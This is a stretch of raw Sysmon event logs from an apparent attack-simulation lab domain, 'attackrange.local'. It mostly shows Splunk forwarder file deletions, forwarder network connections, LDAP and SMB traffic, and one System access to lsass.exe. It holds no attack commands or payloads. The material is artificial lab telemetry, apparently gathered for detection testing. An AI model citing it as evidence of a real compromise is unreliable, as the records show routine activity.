15:09:38.833{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C71CBC2A5756A8E026A0738E7E14B421,SHA256=3EF17489C16B98B934AD18C47EB8A2314A292405BB5736EFCD72CD962745C264,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:38.007{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2537B764DE4941FD8914D7F277035055,SHA256=C79B666AA8872F839020564BB09DD0D6412E5C62F66EC322D17DD0B58CEE1804,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018414Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:36.533{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50422-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018416Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:39.896{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD659BCEDA2B4487D5A2E078C733CF2E,SHA256=80C9E155747630DBAA8C975C9DC1635B939D3597A432886C42BCB37A55F7E190,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:39.038{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E1010BC48C4B0EAB281FF97EC5EA1F6,SHA256=E9265CA4F79EF82F88B2F13FB792DAA143929A7C97AFA99AA1F6D3B6A7979055,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018417Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:40.911{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D9BDBE8216E3F6FC9A6F9CA27BBC30F,SHA256=4826C99EEAAAC1D5AC2EB65DD449290CF86073D5D5BD6DA27EA37E88E195D9F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:40.085{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B687F061DEBECE0F4321718BEC431A8F,SHA256=186A38F507F59A93749758C22D194C32632BCAC9B29AF91760A8E411BB0E6869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018418Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:41.927{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB8176EE1E6C62D8B058F89A702FB570,SHA256=41AC83EB72874CBE20D57B0BA7BD2B42521CB071246390557FCF53A2D54F444D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:41.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=294F401C43F34D9E32C99E9EC7D493FE,SHA256=AEE55B9FA7631E8409DBD9244E737FD077F94D64A8CA3353FF3B21CED84E7AD7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018420Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:42.942{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FCE558954BE545B8964D4666E90412DC,SHA256=59AF58DED527F98052C93E02748051D912F7733195F63D5F1C44433B65E9619A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:42.288{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BA761946518A31F4155E51935D5B7BF,SHA256=28C02966FA623CF362D83955576C1518BFC72B681EB2409B2F998AE2E41DAB07,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018419Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:41.543{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50423-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000057402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:39.373{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63198-false10.0.1.12-8000- 23542300x800000000000000018421Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:43.958{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB59A742579EEE1B84992991B027406D,SHA256=4D277C303A6ED85FA89475F1F5728F559511359907281163265C21AEEF704E32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:43.366{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DDA8765981DDEF4ED857FDD85AC5BF6,SHA256=315ABD101557B1379AC660C117CFBF5B2BC0C043B34AF36F5271199BC2226656,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018422Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:44.974{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B61D1AD5CC547E8AB22FA117C98CEC9B,SHA256=4795014F38E5C0E3F711775221CFDDB64339DD3B498D0C1524FADCC13EE45ACB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:44.507{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C68EE754D994707097ED1CA97A26FB2,SHA256=D289BE71E154E62BD8BE2BF37A22D35BE81590EF3EEAE133FE1FAEB72C52C15C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:45.757{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1C228794E633B2820F1D1C882EDD783,SHA256=CFB6189908893D5EC57EA55AA035A68E31B33903F1416DBAC034EFA80253CC4A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:46.897{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7EC627B4A5D6EABC6F342619B1006D18,SHA256=9812EC656CA8ABF3AC0406A29F47AC1B4B602EE6243A903F3CB875BE0FF3EF44,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018423Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:46.005{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=45258F6E431C20B616676E7183D49A64,SHA256=494608ED10A8AF2C1F1D660F3AC723A67FC6D7A538B49302481DA80CC0E37F83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:47.944{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3F2A49BB04328781E77512AB85FDB7D,SHA256=F05B2B5BE80B11410EA922895DDF8C4CAFE7C3B52D62B8E5DAB3993E150350F8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018424Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:47.021{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4158A58415C1D23FA2918D04F55139EF,SHA256=656DB1C536B73542927BF56A41F7EC89C8951A6DE0D928FD6359E691A961524E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:45.357{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63199-false10.0.1.12-8000- 354300x800000000000000018426Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:46.559{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50424-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018425Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:48.052{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2881A0A9728867651F61C3CA6E5513DA,SHA256=7330D8F56AB6E047913FAA007D4048F18D0B5FD3C2A5FEC02E56019A7A72B558,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018427Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:49.070{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D21BC25B01513008B114CE0E5568749,SHA256=43AE3AC6CDCC6C9AC3B0044F6F90DE3751B745BCB035595D63FEC846E55B16FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:49.007{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=84B7C692D238A825BB38E38D28B66866,SHA256=D8405B3AAFE446AD45FE7A5A333A2DA6EB8A9944389E64D9B168844DD72BD716,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:50.225{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=43914552E0327547D15A93468961C4F5,SHA256=FAF63B1F25740F4E2A5363A9CDF8B17BD86BDA9FA22CCD3C107973BBB2D8C907,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018428Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:50.083{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=54EB8A738B819C41EB5F8970FE65ADBC,SHA256=5B8D3A541E519859FC64DBD947270143274C92C62D81C7AD6190E201F5EC7DAB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:51.335{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7B0BE7B18612938127AD318744DFD85,SHA256=A22DC857AC5D7BC0E2E66B03935C2AAA0DFA332E6BF6FE58B50A04400A3884A0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018429Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:51.099{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE24CC8EC24AC301985D11408B8955A8,SHA256=4D1E51F15FB6F90333D5C54AA3548CE7B84C051975E24EF7BD74541F29DE5CCA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:50.435{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63200-false10.0.1.12-8000- 23542300x800000000000000057413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:52.488{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E6E718F155D61905FF1A2A1A50523A7,SHA256=D8C9928077E0D7E170E4E498FA25D94ED5187720986AB955A914606A143CCE34,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018430Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:52.126{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0D3AC4C2042EA65F7A660FE90EEB18A,SHA256=61CBF396496397283B0DD9AA325233312B42952F0EE454B4CB42488F5957359A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:53.581{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F21CD86C8A2CF8507FD572960317FF6,SHA256=7B0DB3AFC381F379F44A635E7FA748EA92948576642FC8A56771E2317900FD32,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018431Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:53.157{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=771BFA4A46E6838555B19F3CF357C254,SHA256=18C990876CF9256F9DCF35BDF95F7BCB03D97198DB0472A2EA0C00E040A90C66,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:54.628{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A77466084F27C658FFCAB149E7B39851,SHA256=7D0C8350A39503D8C64B44F5AE84FF0EC6B516678D32B2C54E55CFA2146F6858,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018433Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:52.477{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50425-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018432Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:54.173{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=006739A89EFA0047A3BEA3D23CB7EEE5,SHA256=9B5CB17B5771541FBB6B5A40F871E1993D912333E3421F91F01A4AB0AAD80ACF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.659{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7343898270F8B9EAA9F7021F622779E3,SHA256=90DA80D9304F7D82F8063CB2C97A6BA191A340FE4E057ECD117AB315F2F1D259,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018435Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:55.282{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018434Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:55.189{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9E98C4179474DC71D0B8EB47835A195,SHA256=1963139BF1B4B87E278EB9F6292ACC1A6F4609199787758B5DD43218C48EAB5B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:56.691{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B521FB2C3F0DEBA83C987B54BF5D1EE7,SHA256=1A84D2BE1080695E638E4AC659E7F650D599285E001ADB9D2E32D466996088AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018436Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:56.204{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D7E0BDBD2DDD353FA63D1DAEFAC0AED3,SHA256=A0F77C03F0D60658767567A8ED3F725D4A69491908E74D9F34B87B12FA3D922A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000057418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:56.331{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 354300x800000000000000057428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.623{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63204-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000057427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.623{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63204-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000057426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.523{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local63203-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000057425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.523{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63203-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000057424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.514{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63202-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000057423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:55.514{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local63202-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 23542300x800000000000000057422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:57.722{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E301347E2817AC16729E33F32F395D9,SHA256=51828952393222B3D1C0AB0985763DACB583CDF20E3BE81012924C3B0D080304,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018437Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:57.204{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0464829C3A2146F418412564807A7390,SHA256=228D8EE9E6DA8D0E2C7257C4CDCCC58D046496E91F91CF5D004CFB2AE0EC6EE5,IMPHASH=00000000000000000000000000000000falsetrue 